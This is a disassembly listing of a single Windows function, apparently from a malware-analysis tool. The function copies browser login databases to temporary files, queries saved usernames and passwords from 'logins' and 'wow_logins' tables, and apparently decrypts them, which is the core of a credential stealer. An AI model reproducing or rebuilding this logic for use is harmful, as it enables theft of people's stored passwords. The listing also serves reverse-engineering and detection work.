Function at 0x40c4a8
Capabilities:
Check if file exists
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
and dword [ebp - 0x14], 0
and dword [ebp - 0x18], 0
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 8]
push 0x1a
pop edx
mov dword [ebp - 0x30], ebx
call fcn.0040f76b
mov edi, 0x414684
lea ecx, [ebp - 8]
push edi
call fcn.0040346a
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.004034a7
push eax
lea ecx, [ebp - 8]
call fcn.00403335
mov ecx, dword [ebp - 0x2c]
call fcn.00405ea5
mov esi, str..tmp
lea ecx, [ebp - 8]
push esi
call fcn.0040346a
push 0x1a
pop edx
lea ecx, [ebp - 0x10]
call fcn.0040f76b
push edi
lea ecx, [ebp - 0x10]
call fcn.0040346a
push 8
pop edx
lea ecx, [ebp - 0x2c]
call fcn.004034a7
push eax
lea ecx, [ebp - 0x10]
call fcn.00403335
mov ecx, dword [ebp - 0x2c]
call fcn.00405ea5
push esi
lea ecx, [ebp - 0x10]
call fcn.0040346a
cmp byte [ebp + 0x10], 0
lea ecx, [ebp - 0x2c]
je 0x40c547
push 0x1a
jmp 0x40c549
push 0x1c
pop edx
call fcn.0040f76b
push eax
lea ecx, [ebp - 0x14]
call fcn.00403437
mov ecx, dword [ebp - 0x2c]
call fcn.00405ea5
push dword [ebp + 8]
lea ecx, [ebp - 0x14]
call fcn.0040346a
cmp byte [ebp + 0x10], 0
lea ecx, [ebp + 0x10]
je 0x40c578
push 0x1a
jmp 0x40c57a
push 0x1c
pop edx
call fcn.0040f76b
push eax
lea ecx, [ebp - 0x18]
call fcn.00403437
mov ecx, dword [ebp + 0x10]
call fcn.00405ea5
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.0040346a
push dword [ebp - 0x14]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
call edi
mov esi, dword [ebp - 0x18]
test eax, eax
je 0x40c628
push esi
call edi
test eax, eax
je 0x40c628
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push dword [ebp - 8]
push dword [ebp - 0x14]
call edi
test eax, eax
je 0x40c628
push 0
push dword [ebp - 0x10]
push esi
call edi
test eax, eax
je 0x40c628
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403437
lea eax, [ebp + 0x10]
push eax
lea ecx, [ebp - 0x14]
call fcn.00403554
lea ecx, [ebp - 0x34]
push ecx
push dword [eax]
call dword [ebx + 0x30]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x10]
mov edi, eax
call fcn.00405ea5
test edi, edi
je 0x40c652
push ecx
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.0040362d
call fcn.0040ff0b
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.0040362d
call fcn.0040ff0b
pop ecx
xor edi, edi
mov ecx, dword [ebp - 0x10]
call fcn.00405ea5
mov ecx, dword [ebp - 8]
call fcn.00405ea5
mov ecx, esi
call fcn.00405ea5
mov ecx, dword [ebp - 0x14]
call fcn.00405ea5
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0x14
and dword [ebp - 0x1c], 0
lea eax, [ebp + 0xc]
and dword [ebp + 0xc], 0
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
push ecx
mov ecx, esi
call fcn.0040ced9
xor edi, edi
add esp, 0x10
inc edi
test eax, eax
je 0x40c8b2
cmp byte [ebp + 0x14], 0
lea eax, [ebp - 0xc]
push 0
push eax
mov ecx, str.select_signon_realm__origin_url__username_value__password_value_from_wow_logins
mov eax, str.select_signon_realm__origin_url__username_value__password_value_from_logins
push 0xffffffffffffffff
cmovne eax, ecx
push eax
push dword [ebp - 0x34]
call dword [ebx + 0x38]
add esp, 0x14
test eax, eax
jne 0x40c8b2
push dword [ebp - 0xc]
call dword [ebx + 0x44]
pop ecx
cmp eax, 0x64
jne 0x40c8aa
mov esi, ebx
mov ecx, edi
call fcn.00405e22
mov ecx, edi
mov dword [ebp + 0x14], eax
call fcn.00405e22
xor ebx, ebx
mov edi, eax
inc ebx
mov dword [ebp + 8], edi
mov ecx, ebx
call fcn.00405e22
mov ecx, ebx
mov dword [ebp - 0x2c], eax
call fcn.00405e22
push 0
push dword [ebp - 0xc]
mov dword [ebp + 0x10], eax
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40c70f
push eax
lea ecx, [ebp - 0x38]
call fcn.004033bf
push eax
lea ecx, [ebp + 8]
call fcn.00403125
mov ecx, dword [ebp - 0x38]
call fcn.00405ea5
mov edi, dword [ebp + 8]
push ebx
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40c737
push eax
lea ecx, [ebp - 0x3c]
call fcn.004033bf
push eax
lea ecx, [ebp - 0x2c]
call fcn.00403125
mov ecx, dword [ebp - 0x3c]
call fcn.00405ea5
push 2
push dword [ebp - 0xc]
call dword [esi + 0x40]
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40c760
push eax
lea ecx, [ebp - 0x40]
call fcn.004033bf
push eax
lea ecx, [ebp + 0x10]
call fcn.00403125
mov ecx, dword [ebp - 0x40]
call fcn.00405ea5
sub esp, 0xc
push dword [ebp + 0xc]
push dword [ebp - 0x1c]
push 3
push dword [ebp - 0xc]
call dword [esi + 0x5c]
push 3
push dword [ebp - 0xc]
mov ebx, eax
call dword [esi + 0x54]
add esp, 0x10
mov edx, ebx
mov ecx, eax
call fcn.0040cf58
add esp, 0x14
lea ecx, [ebp - 0x44]
push eax
call fcn.004033bf
push eax
lea ecx, [ebp + 0x14]
call fcn.00403125
mov ecx, dword [ebp - 0x44]
call fcn.00405ea5
lea ecx, [ebp + 0x10]
call fcn.0040308c
test eax, eax
jg 0x40c7c0
lea ecx, [ebp + 0x14]
call fcn.0040308c
test eax, eax
jle 0x40c872
xor ebx, ebx
lea ecx, [ebp + 8]
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], ebx
call fcn.0040308c
test eax, eax
jle 0x40c7f7
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp + 8]
call fcn.0040309d
push eax
lea ecx, [ebp - 0x54]
call fcn.00403437
mov ecx, dword [ebp - 0x20]
call fcn.00405ea5
mov dword [ebp - 0x20], ebx
lea ecx, [ebp + 0x10]
call fcn.0040308c
test eax, eax
jle 0x40c823
lea eax, [ebp - 0x24]
push eax
lea ecx, [ebp + 0x10]
call fcn.0040309d
push eax
lea ecx, [ebp - 0x50]
call fcn.00403437
mov ecx, dword [ebp - 0x24]
call fcn.00405ea5
mov dword [ebp - 0x24], ebx
lea ecx, [ebp + 0x14]
call fcn.0040308c
test eax, eax
je 0x40c84f
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp + 0x14]
call fcn.0040309d
push eax
lea ecx, [ebp - 0x4c]
call fcn.00403437
mov ecx, dword [ebp - 0x28]
call fcn.00405ea5
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp + 0x18]
sub esp, 0x10
mov dword [ebp - 0x48], eax
mov ecx, esp
lea eax, [ebp - 0x54]
push eax
call fcn.00401f95
mov ecx, esi
call fcn.00401fcb
lea ecx, [ebp - 0x54]
call fcn.004013ef
mov ecx, dword [ebp + 0x10]
call fcn.00405ea5
mov ecx, dword [ebp - 0x2c]
call fcn.00405ea5
mov ecx, edi
call fcn.00405ea5
mov ecx, dword [ebp + 0x14]
call fcn.00405ea5
push dword [ebp - 0xc]
call dword [esi + 0x44]
pop ecx
push 1
pop edi
cmp eax, 0x64
je 0x40c6b6
mov esi, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x30]
test eax, eax
jne 0x40c606
push dword [ebp - 0xc]
call dword [ebx + 0x60]
pop ecx
push dword [ebp - 0x34]
call dword [ebx + 0x34]
lea eax, [ebp - 8]
mov ecx, esp
push eax
call fcn.0040362d
call fcn.0040ff0b
lea eax, [ebp - 0x10]
mov ecx, esp
push eax
call fcn.0040362d
call fcn.0040ff0b
pop ecx
jmp 0x40c62a